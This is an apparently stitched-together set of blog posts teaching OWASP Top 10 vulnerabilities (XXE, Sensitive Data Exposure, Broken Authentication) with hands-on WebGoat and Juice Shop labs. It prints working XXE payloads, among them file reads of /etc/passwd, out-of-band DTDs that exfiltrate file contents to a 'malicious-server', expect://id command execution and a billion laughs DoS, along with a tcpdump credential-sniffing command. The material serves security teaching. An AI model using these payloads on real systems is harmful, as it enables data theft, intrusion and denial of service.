XXE explained – OWASP Top 10 vulnerabilities

Welcome to this new episode of the OWASP Top 10 vulnerabilities series. Today, you will learn everything related to XXE. This blog post will explain the theory with some examples. By the end, you will be ready to tackle XXE in practice.

Don’t forget to subscribe the Friday newsletter to kickstart your

Some key XXE basic concepts

Before understanding XXE, you need to know some key concepts which will help you properly understand the XXE attack. If you already know what is XML, DTD, XML Entities, parameter entities and XML parsers, feel free to skip this section.

What is XML?

XML stands for Extensible Markup Language. It defines how a document should be structured for data exchange. The following is an example XML document.

<bio>I love cats</bio>

XML is used to exchange data between systems. For example, when you subscribe to an RSS feed, your client software consumes XML documents containing the News and displays them in a feed. Another example is SOAP, which uses XML to exchange data in web services.

XML Parsers

For an application to manipulate XML documents, it uses an XML parser, which converts the text representation, sent over the network, into an XML DOM (Document Object Model) ready to be consumed by the application.

What is a DTD?

Sometimes, when exchanging XML documents, developers need to enforce the data elements, attributes and value types, etc. This can be done using a document type definition (DTD). This will come handy when exploiting XXE. For example, the XML document mentioned above can optionally include a DTD as follows:

<?xml version="1.0"?>
<!DOCTYPE account [
<!ELEMENT account (name,email,age,bio)>
<!ELEMENT email (#PCDATA)>
<bio>I love cats</bio>

In this DTD, we enforce that the XML document should contain an account element, which includes a name, email, age and bio fields of type string. Since this DTD is included within the XML document itself, it is called an internal DTD. XML supports also external DTDs, or both.

What is an XML Entity?

XML Entities provide a way to represent data within an XML document. Think of it as a variable holding your data, which you can reference in many places. They are defined inside a DTD. The syntax is as follows:

<!ENTITY entity-name "entity-value">

When you want to reference data from other resources, or include entities from an external DTD, you use XML External Entities. The syntax is slightly different.

<!ENTITY entity-name SYSTEM "/uri/to/the/dtd/or/resource">

Then, you use the syntax &entity-name; to include your entity inside the XML document.

What is an XML Parameter Entity?

Sometimes, XML external entities cannot be used for reasons we will explore shortly. In this case, you can use Parameter Entities. They are special entities which can be referenced inside a DTD. The syntax is:

<!ENTITY % param-entity-name "param-entity-value" >

You can also use parameter entities to fetch a URI

<!ENTITY % param-entity-name SYSTEM "URI" >

What is XXE injection vulnerability?

Now that you know what does XXE mean, how can we use it to achieve an injection?

Do you remember, from the Injection vulnerability, when we explained why trusted user input is dangerous? Well, XML injection is no different. In fact, XXE injection happens when an application trusts user input in an XML document. This is a typical scenario of the attack:

  1. A feature in the application expects an XML to carry comments. The XML document looks like this:
<?xml version = "1.0" encoding = "UTF-8" ?>
      <content>Great article!</content>

Sometimes, even if the application accepts JSON data, you can still try changing the Content-Type HTTP Header from application/json to application/xml. See this in our XXE tutorial. For now, let’s suppose that the application expects XML. 

  1. A malicious user sends the following XML input
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY myentity SYSTEM "file:///etc/passwd"> ]>
  1. The application parses the malicious input using the XML Parser.
  2. The content of /etc/passwd gets stored as the comment of the user eve.
  3. The application renders the list of comments, which discloses the server’s /etc/passwd file. 
  4. If we inject a non-existing file, say file:///etc/passwdnotexistent, the server returns an error stating that the file /etc/passwdnotexistent doesn’t exist.

In the scenario we’ve just described, the server returns direct feedback to the user. You can see this in action in this hands-on tutorial. However, it’s not always the case. XXE injections, like any Injection vulnerability, can also be blind.

What is Blind XXE?

When the server doesn’t return direct feedback to the user upon an XML injection, we call it a blind XXE vulnerability. You may wonder how we would exploit it if there is no feedback? Well, the same concept we learned in the Injection vulnerability can be applied here: Abusing the interpreter to make a call to us.

In the following section, we will explore the different ways we can use to exploit a blind XXE.

How to detect a Blind XXE vulnerability?

The easiest way to detect a Blind XXE is to use a URL pointing to our server in the XML external entity. You can inject the following DTD file and wait for a ping on your malicious server:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://malicious-server.com/poc"> ]> 

If HTTP traffic is allowed, the vulnerable server will request http://malicious-server.com/poc, which you can see in your malicious server’s logs. See this in action on this hands-on XXE tutorial.

Note: Sometimes, even if there is a Blind XXE vulnerability and the HTTP traffic is allowed outbound, you will not receive a ping from the vulnerable server. In this case, you can use parameter entities instead of external entities. You might get lucky if XML external entities are blocked. This is especially useful when you don’t have an XML field to inject into.

How to exploit a Blind XXE?

Once you validate it, you can start testing for the XXE vulnerability. There are many scenarios, depending on the situation, but they all fall into the out-of-band category.

Exfiltrate internal files using out-of-band HTTP callbacks

Blind XXE vulnerability allows you to read internal files on the remote vulnerable host. To do that, you send a malicious XML document containing the following DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://malicious-server/malicious.dtd"> %xxe;]>
Before that, you should have the following malicious.dtd file on your malicious-server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://malicious-server/?content=%file;'>">

Notice that we are defining the entity out inside the entity bar. This is possible because you can use nested entities in external DTDs, which is useful when you don’t have an XML field to reference your external entity within.

This is how the XXE attack workflow will go:

  1. The vulnerable server will receive your malicious XML document and evaluate it using the XML parser.
  2. The XML parser will fetch your malicious DTD file from your malicious server.
  3. The vulnerable server will fetch the content of its /etc/passwd file and put it as the value of the parameter content.
  4. The vulnerable server will send a request to your malicious server
  5. You will get the content of the vulnerable server’s /etc/passwd file in the content parameter.

Note: Sometimes, you can’t retrieve multi-line files because it doesn’t result in a valid URL. Therefore, you can use an FTP server to receive incoming requests.

Exfiltrate internal files using a malicious FTP server

Exploiting a Blind XXE using FTP involves setting up an FTP server and pointing to it inside your malicious dtd file, which will look like this:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM ftp://malicious-ftp-server/%file;'>">

Note that the only difference is that you use ftp:// instead of http://

You can easily set up an FTP server using xxeserv. If you don’t have a publicly accessible server, you can use ngrok to expose a local VM to the internet.

Exploit Blind XXE without an external DTD

All the scenarios we described so far require you to host a malicious DTD file on your server. However, what to do if there is a firewall denying all egress traffic?

In his write up, Arseniy Sharoglazov introduced a new technique. Basically, the idea is to reuse an already existing DTD and redefine a parameter entity inside it. Why not just including the external DTD inside the internal one, you might ask? Well, in XML, you can’t use nested entities in internal DTDs.

Exploit XXE with SVG files

File uploads can be vulnerable to XXE if the application parses XML files. A typical file type which uses XML is SVG. You can upload the following SVG profile picture to achieve XXE.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg height="30" width="200">
  <text x="0" y="15" fill="red">&xxe;</text>

Exploit XXE using docx and excel files

When an application allows you to upload office documents, like docx or excel files, the first thing you have to test is XXE injection attack. In fact, office documents are simply XML based files archived into one file. You should watch this awesome talk which details how to exploit XXE using file uploads. The speaker, Willis Vandevanter, also released the oxml_xxe tool to help security researchers and ethical hackers test for XXE using file uploads for many file types.

XXE impact

You can do more than just exfiltrating internal files. Depending on the context, an XXE vulnerability can lead to many outcomes.


Because you can specify URIs in the XML entity, you can use the XXE vulnerability to reach internal assets. For example, before the introduction of IMDSv2, an attacker could easily retrieve Amazon EC2 instance metadata containing sensitive data.


In PHP applications, you can use the expect:// wrapper to run arbitrary commands on the server. For example, in the case of an error-based XXE, you can use the following DTD to run the id command on the vulnerable server:

<!DOCTYPE foo [<!ENTITY myentity SYSTEM "expect://id"> ]>

Then, reference myentity in your XML field.

There are some limitations when it comes to running arbitrary commands because the XML parser evaluates the URI you are using and finds that is is invalid, but you can always find a way to bypass them. Besides, if you can chain an SSRF to an XXE, you can use the Gopher protocol to achieve a Remote Code Execution. This awesome article will give you many tips on how to escalate your XXE to RCE.

XXE to DoS

Sometimes, the server blocks external and parameter entities. Therefore, you can’t read internal files, or perform SSRF, etc. However, you can achieve a Denial Of Service. In fact, you can leverage XML entities to push the parser to load a large number of entities. The following DTD leads to the billion laughs attack using XXE. In fact, it will load a billion times the word laugh, causing a Denial Of Service.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

XXE injection attacks in the real-world

There are so many real-world XXE injection attacks. However, I will list three here.

Firstly, in this advisory, Aon’s Cyber Solutions discovered an XXE vulnerability which allowed accessing internal files due to a misconfiguration in RealObjects PDFreactior before 10.1.10722.

Then, in this report, the bug bounty hunter demonstrates a Denial of Service condition due to an XML injection using the billion laughs attack.

Finally, this report shows how the bug bounty hunter exploited an Error-Based XXE to retrieve the /etc/passwd file.

How to mitigate XXE?

If you’ve been reading from the beginning, you should come up with defense methods against XML injection on your own. Since XXE injection vulnerability relies on DTDs, the best thing you can do to achieve a proper XML injection remediation is to disable DTDs altogether. However, this is not always possible because the application needs to use DTDs. In this case, disable external DTDs and XML External Entities. The following OWASP XXE prevention Cheat Sheet gives you all the details you need to prevent XXE on XML parsers for many programming languages.

That’s it! I hope you enjoyed learning XXE. Now, you can practice what you’ve learned in this hands-on XXE tutorial. And don’t forget to subscribe to the Friday newsletter below to receive updates about new content.

XXE tutorial in practice – OWASP Top 10 training

XXE tutorial

Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:

  • Exploit XXE to Read internal files from the vulnerable server.
  • Pivot from XXE to SSRF
  • Exploit a Blind XXE
  • Perform the Billion laughs attack

If you don’t know what XXE is, I prepared an in-depth XXE article about it.

XXE tutorial to read internal files

In this challenge, we have a comment feature which uses XML to carry the user input. 

  1. Login to your WebGoat instance, and go to the third challenge in the XXE menu
WebGoat Simple XXE challenge
WebGoat Simple XXE challenge
  1. Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
Potential XXE in the XML POST data
Potential XXE in the XML POST data
  1. Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the secret.txt file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
  1. Upon sending the malicious request above, we can see that the content of the secret file WebGoat 8.0 rocks... (vrSjRdhjst) shows up in the comments list.
XXE exploitation to read internal files


Because we can use almost arbitrary URIs during an XXE attack, instead of using file://, we will use http:// to enumerate internal ports running on the server.

  1. Repeat the previous exercise.
  2. Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
  <!ENTITY xxe SYSTEM "http://localhost:22">
  1. Note that we are targeting the port 22, typically used for SSH.
  2. We receive a reply which clearly states that there is no service running on port 22.
Connection Refused indicates that the port is not accessible
Connection Refused indicates that the port is not accessible
  1. We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater. 

Note that you can also discover neighbor IP addresses, not just ports.

Blind XXE using an external DTD

As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.

  1. Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab. 
  2. Upload the following file while substituting webwolf-instance with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
  1. Go to the seventh XXE challenge
  2. Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
  3. Use the following XML POST data. Note that {username} and {filename} should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment>  <text>no need to inject here</text></comment>
  1. When you send the request, go to the Incoming Requests tab on your WebWolf instance.
  2. You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
Blind XXE successfully exploited using an external DTD
Blind XXE successfully exploited using an external DTD

XXE to DoS

XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.

  1. Go to the third XXE challenge and repeat the steps we did on our first section.
  2. Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  1.  Notice that you get the following error from the server.
JDK doesn't allow unlimited entity expansions
JDK doesn’t allow unlimited entity expansions
  1. The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
 JDK entity expansion limit option
JDK entity expansion limit option

That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content

And as usual, here is your XXE tutorial on Youtube.

Sensitive Data Exposure tutorial – OWASP Top 10 training

Sensitive Data Exposure

Hello and welcome to this new episode of the OWASP Top 10 training series. In this Sensitive Data Exposure tutorial, you will practice your skills on three challenges If you have no idea about this vulnerability, I invite you to read this blog post which explains Sensitive Data Exposure in detail.

Make sure to subscribe to the Friday Newsletter for new content on this blog.

The agenda of the Sensitive Data Exposure tutorial will be as follows:

  • Firstly, you will sniff traffic and exploit a sensitive data exposure on a WebGoat challenge using tcpdump
  • Then, you will access confidential documents on OWASP Juice Shop
  • Finally, you will use publicly available resources to access some sensitive logs

Throughout this post, you will practice sensitive data exposure using OWASP ZAP. So, let’s get started!

Sensitive Data Exposure tutorial 1: WebGoat challenge

In this challenge, we have a login form which doesn’t use HTTPS. Our goal is to capture the credentials of our victim. 

We will use tcpdump to sniff the HTTP traffic. You can also use Wireshark

  1. Firstly, we will install tcpdump on our OWASP Top 10 training VM box.

sudo apt install tcpdump -y

  1. Then, we will list our network interfaces to listen to only the one which is connected to our target network.

ip a

Docker0 network interface to prepare for sensitive data exposure using tcpdump
Docker0 network interface
  1. From the output above, we are interested in the docker0 interface since that’s the one transmitting the target HTTP traffic.
  2. Next, run the tcpdump command below. The expression tcp[((tcp[12:1] & 0xf0) >> 2):4] gets the HTTP method from the traffic, which we compare with 0x504F5354, the hex representation of POST string.

sudo /usr/sbin/tcpdump -i docker0 -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354'

  1. Now, let’s go to the WebGoat challenge under the Sensitive Data Exposure menu, challenge 2. Then, click on the login button.
OWASP WebGoat Sensitive Data Exposure tutorial
OWASP WebGoat Sensitive Data Exposure tutorial
  1. You will immediately see a POST request showing up in the tcpdump output.
Sniffing credentials exposure using Tcpdump on HTTP traffic
Sniffing credentials exposure using Tcpdump on HTTP traffic
  1. Finally, as you can see from the screenshot above, the credentials are CaptainJack/BlackPearl

Had the page been using HTTPS, we wouldn’t have access to plaintext credentials, but rather gibberish traffic which we wouldn’t know how to decipher.

Tutorial 2: Access confidential documents

In this challenge, our goal is to access confidential documents of OWASP Juice Shop. We will use the application as intended and see if we can spot any potential vulnerabilities. We will register a new account, add products to the cart, checkout and print our order.

The order confirmation URL looks like What if there is a directory listing enabled on the /ftp directory? Let’s try that out!

  1. Go to http://owasp-vm-box:3000/ftp/
  2. Voila! You have other documents uploaded to the FTP directory, which include many confidential documents. Let’s see if we can access all the coupons.
  3. When you simply go to http://owasp-vm-box:3000/ftp/coupons_2013.md.bak, there is a 403 response forbidding us from downloading the file. It seems that the application performs checks on the file extension.
  1. Since only .md and .pdf extensions are allowed, let’s try to bypass this verification using a double URL encoded NULL character (%2500). To do that, got to
  1. Notice that we successfully accessed the list of coupons in plaintext.
Sensitive data exposure: Stealing the coupons file
Sensitive data exposure: Stealing the coupons file

We were able to exploit a broken authentication flaw, then perform a filter bypass and get access to the plaintext coupons file. Which of these three problems fall into the OWASP Sensitive Data exposure category? Let me know in the comments below!

Tutorial 3: Exploit a sensitive data exposure vulnerability to Leak access logs

In this challenge, the goal is to get hold of a publicly available access logs file which contains clear-text passwords. We will surf the internet, dumpster diving online content for possible sensitive data leaks. 

Developers typically post many questions on well-known forums, like Stack Overflow. In fact, a simple Google search for the developer of OWASP Juice Shop reveals the username bkimminich on GitHub. From there, we can see if this username has posted any sensitive data on Stack Overflow. Googling “bkimminich stack overflow” gives us this account. Finally, we can filter only the questions. As you can see below, this is the post which contains access logs

Access log leak through Stack Overflow
Access log leak through Stack Overflow

The developer has posted a PasteBin file, yet another code sharing platform typically used by developers. Looking through the logs, we can see that there is a password-reset feature which is using GET parameters to transmit the password.

Sensitive Data exposure tutorial: Passwords in the log files.
Sensitive Data exposure in the log files

This is a clear sensitive data exposure. An attacker can go from here and test the password on all users of Juice Shop. To do that, one way is to login as an admin using a SQL injection, then access the administration dashboard using the same JavaScript enumeration exercise we did before. Since this is not directly tied to Sensitive Data exposure, I’ll leave it for you as an exercise. If you’re still stuck, make sure to check out the video below.

That’s it! I hope you enjoyed this Sensitive Data exposure tutorial. Subscribe now to the Friday newsletter to receive updates about new content.

Sensitive Data Exposure explained – OWASP Top 10

Welcome to this new episode on the OWASP Top 10 vulnerabilities series. Today, you’ll learn about the OWASP Sensitive data exposure vulnerability. If you already now the theory behind this vulnerability, you can practice on this tutorial.

The agenda will cover the following:

  • Define what is sensitive data exposure
  • Explain Sensitive data exposure types
  • Show you some attack scenarios
  • Share with you some related HackerOne reports
  • Explain the impact of this vulnerability 
  • Teach you how to prevent Sensitive data exposure

What is sensitive data exposure?

Each month, increasing exabytes of data get transmitted on the globe. The data sensitivity ranges from cat videos and static landing pages to Personally Identifiable Information (PII) and nations secrets.

But how to distinguish between sensitive and no-sensitive data? Well, this depends on many factors. For example, you can measure the impact of disclosing your data in terms of Confidentiality, Integrity or Availability. In fact, the general idea is to measure what would be the impact of this data if third-parties know about it. For example, an e-commerce website’s database is sensitive because it holds Credit Card records and personal data of its customers. If an unauthorized party accessed it, all customers’ identities and financial situation would be at risk. 

When critical data lands on unauthorized hands, we can qualify it as sensitive data exposure.

Sensitive data exposure types

We can divide the data into two broad categories, data in transit and data at rest.

Data in transit

Data transmitted over a network is considered data in transit. For example, when you browse the web, you generate HTTP traffic which carries data between you and the target server. Because it is in motion, this type of data can be targeted in many ways:

  • Sniffing: When the network traffic is not encrypted, an attacker can perform a Man-in-the-middle attack (MITM). For example, if you land on a website which asks for your credentials without using HTTPS, your credentials will transit in cleartext.
  • Information disclosure: This happens if a vulnerable server returns more information than it should. For example, JavaScript files can contain production API keys, passwords, etc. Besides, the server can return verbose errors which disclose passwords of highly sensitive assets. I’ve found a vulnerability where a generated error contained the admin password of a critical marketing asset.

Data at rest

All data which doesn’t move in the network is at rest. This includes archives, backup files, databases, etc. So how this data can be at risk if it doesn’t move? Well, an attacker can access it through a lack of authentication, poor access control on a repository, etc. Consider this incident where a publicly accessible MongoDB database stored plaintext personal details of Millions of records.

Sensitive data exposure attack scenarios

Since Sensitive data exposure is a broad vulnerability, we will explore some scenarios which would help understanding when a vulnerability falls into this category. Later, you can also practice your skills on this hands-on tutorial.

Attack scenario 1

A web application allows users to search for available books based on keywords. Unfortunately, a SQL injection in the keyword parameter allowed an attacker to dump the authors’ table, which included PII information in plaintext.

In this scenario, there are two problems, the SQL injection and the plaintext data. However, the problem which relates to Sensitive Data exposure is the latter. In fact, sensitive data should never be stored in plaintext.

Attack scenario 2

A web application doesn’t properly protect log files. This allowed an unauthenticated attacker to read them. Some log entries contained login requests with credentials in the GET parameters. This led to a massive credential theft and a huge compromise of multiple accounts.

In this scenario, the sensitive data was transmitted using GET parameters, which is a bad practice. In fact, GET requests get stored on logs, browser history, bookmarks, etc. Unauthenticated access to the log files themselves is a problem which belongs to Broken authentication, which is not directly related to Sensitive Data Exposure.

Attack scenario 3

An internal hospital web application allows staff members to sign up, log in and upload healthcare data. The application uses HTTP. An attacker compromised the hospital’s Wi-Fi network. Because there was no Network segregation, the attacker was able to listen on HTTP traffic and capture the session cookie of the admin user. He then authenticated to the application and modify data for a target patient.

In this scenario, the problem related to Sensitive Data exposure was in the fact that the application used an unencrypted protocol to carry sensitive data.

As you can see, Sensitive Data exposure vulnerabilities focus on data itself. In other words, giving that an attacker got access to your data or can sniff the traffic carrying your data, what defense mechanism do you have to prevent him/her from exploiting it?

Sensitive data exposure Hackerone reports

These are some real-world vulnerabilities related to Sensitive data exposure. 

  • In this report, Twitter publicly exposed a production API key on GitHub. The impact was not tangible, hence the low bounty amount. However, this is a great example of finding sensitive data exposure on GitHub.
  • In this interesting report, the hacker dumped hashed passwords from the database. However, he found a key in another component inside the DB, which allowed a potential Remote Code Execution. This is an interesting sensitive data exposure PoC to demonstrate that all sensitive data should be encrypted.
  • In this report, you can see how separation of privileges can properly reduce the impact and prevent Sensitive Data exposure. In fact, the hacker found a SendGrid API key which allowed him to impersonate Uber when sending emails. However, the API key’s permissions were properly set to only send emails. 

Sensitive data exposure impact

Exposing sensitive data to unauthorized parties has many serious implications. For example, if the data contains PII information, any leak can cause a fine under the EU GDPR law, which can go up to 20 Million Euros. Have a look at Facebook’s GDPR fines history. Besides, exposed data puts customers at risk, violates their privacy and impacts the image and revenue of the leaking party.

Sensitive data exposure remediation

To prevent such a vulnerability, you can implement many measures.

Firstly, you need to classify your data. This ensures that you clearly distinguish your sensitive data. There are many data classification policies which you’ll find in the references below. You can choose whatever you want based on the nature of your business. For instance, if you manipulate Credit Cards, then you’d go with the PCI DSS standard.

Then, you need to ensure proper encryption, both in transit and at rest. Make sure you comply with the standard of your choice. For example, there are specific encryption requirements for PCI DSS. I am not an expert when it comes to the details of each standard, but the general rule would be to use strong encryption algorithms and protocols.

Finally, apply the least privilege principle on the way you access your data to reduce the attacker abilities to read sensitive data. For example, use unprivileged database users and grant only the permissions your business needs on the tables which support the feature.

For in-depth prevention measures, you can read the Sensitive data exposure prevention OWASP Cheatsheets in the reference section.


Data classification policies:

Broken Authentication and Session Management explained

Welcome to this new episode of the OWASP Top 10 vulnerabilities course. Today, you are going to learn about Broken Authentication and Session Management. 

Last time, I explained the Injection vulnerability. New upcoming posts will teach you the remaining OWASP Top 10 vulnerabilities. Consider subscribing to the Friday Newsletter.

What is Broken Authentication and Session Management?

We can’t talk about Broken Authentication without defining Authentication in the first place. This will give you a solid understanding of the big picture.

What is authentication?

In the context of Application Security, Authentication is the process of validating that the identity accessing an asset is the one it claims to be. For example, when you log in to your email account, you provide a username and password. The system then validates these credentials. If they are correct, the system lets you in. Otherwise, your authentication doesn’t succeed.
Notice that the identity can be another computer system as well. For example, when you connect to an HTTPS website, your browser authenticates the website using a Digital Certificate as part of a TLS handshake.

What is session management?

If you had to provide your credentials whenever you click on a page within your email account, it would be impractical. Thus, the identity receives a session after it logs in. It typically lasts as long as the identity is connected to the asset. Once the identity logs out, the server destroys the session.

What could go wrong?

From what we explained above on Authentication and Session Management, you can start thinking of scenarios where they can be broken. In fact, implementing authentication requires a set of features like the sign up, login, logout and password reset features. We will now explore what features support Authentication in-depth. Then, we will learn what vulnerabilities can target some of them.

Some Features which support Authentication

Authentication includes many features, such as:

  • Sign up: Allows users to register their accounts on the system. 
  • Login: Allows them to access it.
  • Password Reset: Helps them recover their credentials. 
  • Session token: Maintains a session of the user with the system. It can be a cookie, a JSON Web Token, a Bearer or other variations.
  • Multi-Factor Authentication (MFA): Increases Authentication security by adding other factors such as a token, an SMS, physical biometrics such as fingerprints, etc.

If not securely developed, each feature can introduce its own Authentication vulnerabilities and weaken the overall Authentication security. For example, compromising the Login feature using a SQL injection would lead to a full Authentication compromise, especially if you can log in as an administrator.

Broken Authentication and Session management vulnerabilities

In this section, we are going to explore the following Authentication features and learn some ways of attacking each one of them.

Weak or default passwords

If the system doesn’t enforce a strong password policy, there is a high chance that users will use weak passwords. Besides, if the application doesn’t protect against rate limiting, a malicious user can brute force credentials in the hope of finding valid ones.
Sometimes, the software ships with default admin credentials, which are publicly available. If they remain upon installation, any user can log in to the system as an administrator. You can see this in action on the OWASP Top 10 Broken Authentication hands-on tutorial.

Authentication bypass

Authentication protects certain features from unauthorized access. Unfortunately, developers forget to put such features behind the Authentication layer. Therefore, any user can directly access them by performing forced browsing.

There are other authentication bypass techniques, but the idea remains the same. In the OWASP Top 10 Broken Authentication hands-on tutorial, you will learn how you can enumerate JavaScript files to bypass authentication.

Broken password reset

There are many Password Reset can be vulnerable in many ways, depending on how the password is restored. The most popular implementation is a password reset link. In this case, you receive a random reset token which the server generates and ties to your email. Unfortunately, it can be vulnerable in many ways, such as:

  • If there is a possibility to specify many receiving emails, the system can mistakenly send the reset token to all specified emails.
  • If the application builds the password reset link based on user-controlled data, like the HTTP Host Header, an attacker can hijack the password reset token using a malicious Host Header pointing to his website. 

Two-Factor Authentication

Two-Factor Authentication, or 2FA for short, increases security by adding another verification step. For example, the application might send you a unique code via SMS. However, the verification response that the server sends can be modified on the client-side. If the application’s front-end relies on it to grant access, a malicious user can modify the response and bypass the verification. We will cover other examples in the Broken Authentication and Session management real-world attacks section.

Broken Authentication and Session management real-world attacks

The following is a list of real-world Authentication vulnerabilities:

Weak or Default credentials example

In this report, the hacker found a publicly accessible SAP server with default credentials belonging to Starbucks.

I also reported an authentication issue to OWOX, where a Grafana instance was running on port 3000 without any authentication. Simply browsing to the right service allowed me to access all their dashboards.

Password reset example

In this report, the hacker reported that he could hijack the victim’s password reset token by manipulating the HTTP Host Header.

In this report, the bug bounty hunter found that the Referer HTTP Header leaks the password reset token if the victim clicks on a link from the resulting password reset page. Although the exploitation is hard, it is still a valid issue which highlights how Authentication can break under many attack vectors, depending on the context.

Two-Factor authentication bypass example

In this critical report, the bug bounty hunter could substitute the victim’s token with his, allowing him to bypass Two-Factor Authentication.

Another common issue with Multi-factor authentication is the lack of rate limiting and the short length of the token. This report shows how the ethical hacker could guess the victim’s Two-Factor authentication token, also called a one-time password (OTP).

Impact of Broken Authentication and Session management

As you saw in the previous sections, especially in the real-world attacks section, Broken Authentication and Session management can be very dangerous. In fact, it compromises how an application authenticates an identity and it leads on account takeovers. Depending on the sensitivity of the asset and the compromised level of privilege, it can lead to serious business loss.

How to prevent Broken Authentication?

As you learned from the previous sections, there are many vulnerabilities which lead to Broken Authentication and session management. It would be impractical to enumerate all the instances. However, the following are the minimum security measures that you should implement whenever you develop an authentication feature.

Strong password policy

You should always enforce a strong password policy for your users. Such policy should require a minimum password length of 8 characters and include lower case, uppercase, digit and symbol characters. A plus would be to check the password against a list of well-known password dictionaries like this one.

Avoid injection issues

Always validate user input before processing the login request. If there is an injection vulnerability in one of your authentication features, your primary line of defense will be compromised.

Protect against brute force attacks

Implement rate-limiting against automated login attempts to prevent password guessing attacks. You can use captchas, account lockouts or Multi-Factor authentication.

You can browse the following OWASP Broken Authentication Cheat Sheet for an exhaustive list of security measures which you can apply according to your needs.

And that’s it! Hopefully, you’ve learned something new. If you enjoy learning on this blog, make sure to subscribe to the newsletter below. We will send you updates each Friday!

Broken Authentication and Session Management tutorial

Broken authentication and session management tutorial

Hello and welcome to this new episode of the OWASP Top 10 training series. In this Broken Authentication and Session Management tutorial, you will practice put your knowledge into action on hands-on attack examples. If you don’t know the theory behind this vulnerability, I highly recommend you read it first and then come back.

In this Broken Authentication and Session Management tutorial, you will learn:

Authentication bypass attack example using forced browsing

In this example, your goal is to access the challenge board on OWASP Juice Shop, which is normally not meant to be public. Single Page Web applications (SPA) typically use Ajax calls from a Front-end application. Therefore, all API endpoints should be included somewhere client-side, like JavaScript files.

  1. Firstly, open Chrome Browser and visit Juice Shop
  2. Then, right-click on the page and choose Inspect 
  3. Under the Sources tab, choose the main-es2015.js file and beautify it using the {} button at the bottom of the window which shows the minified JavaScript file.
  4. Then, locate the part where endpoints are declared using Ctrl+F on Windows or Command+F on Mac
